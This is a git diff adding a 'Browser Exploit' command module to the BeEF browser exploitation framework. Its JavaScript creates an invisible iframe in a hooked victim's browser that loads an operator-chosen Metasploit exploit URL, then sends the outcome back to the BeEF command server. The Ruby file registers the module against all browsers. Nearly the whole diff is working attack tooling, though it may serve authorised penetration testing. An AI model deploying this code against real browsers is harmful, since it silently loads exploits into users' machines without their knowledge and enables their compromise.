diff --git a/modules/commands/metasploit/browser_exploit/browser_exploit.js b/modules/commands/metasploit/browser_exploit/browser_exploit.js new file mode 100644 index 000000000..dcb681724 --- /dev/null +++ b/modules/commands/metasploit/browser_exploit/browser_exploit.js @@ -0,0 +1,14 @@ +beef.execute(function() { + var result; + + try { + var sploit = beef.dom.createInvisibleIframe(); + sploit.src = "<%= @sploit_url %>"; + result = "Exploit Sent"; + } catch(e) { + for(var n in e) + result+= n + " " + e[n] + "\n"; + } + + beef.net.sendback('<%= @command_url %>', <%= @command_id %>, 'result='+escape(result)); +}); diff --git a/modules/commands/metasploit/browser_exploit/browser_exploit.rb b/modules/commands/metasploit/browser_exploit/browser_exploit.rb new file mode 100644 index 000000000..97ffbe749 --- /dev/null +++ b/modules/commands/metasploit/browser_exploit/browser_exploit.rb @@ -0,0 +1,39 @@ +module BeEF +module Modules +module Commands + + +class Browser_exploit < BeEF::Command + + + def initialize + super({ + 'Name' => 'Browser Exploit', + + 'Description' => %Q{ + This module will launch a Metasploit exploit against the host + }, + 'Category' => 'Metasploit', + 'Author' => ['sussurro'], + 'Data' => [['name' => 'sploit_url', 'ui_label' => 'Exploit URL', 'value' =>'http://www.google.com']], + + 'File' => __FILE__, + 'Target' => { + 'browser_name' => BeEF::Constants::Browsers::ALL + } + }) + + use 'beef.dom' + use_template! + end + + def callback + save({'result' => @datastore['result']}) + end + +end + + +end +end +end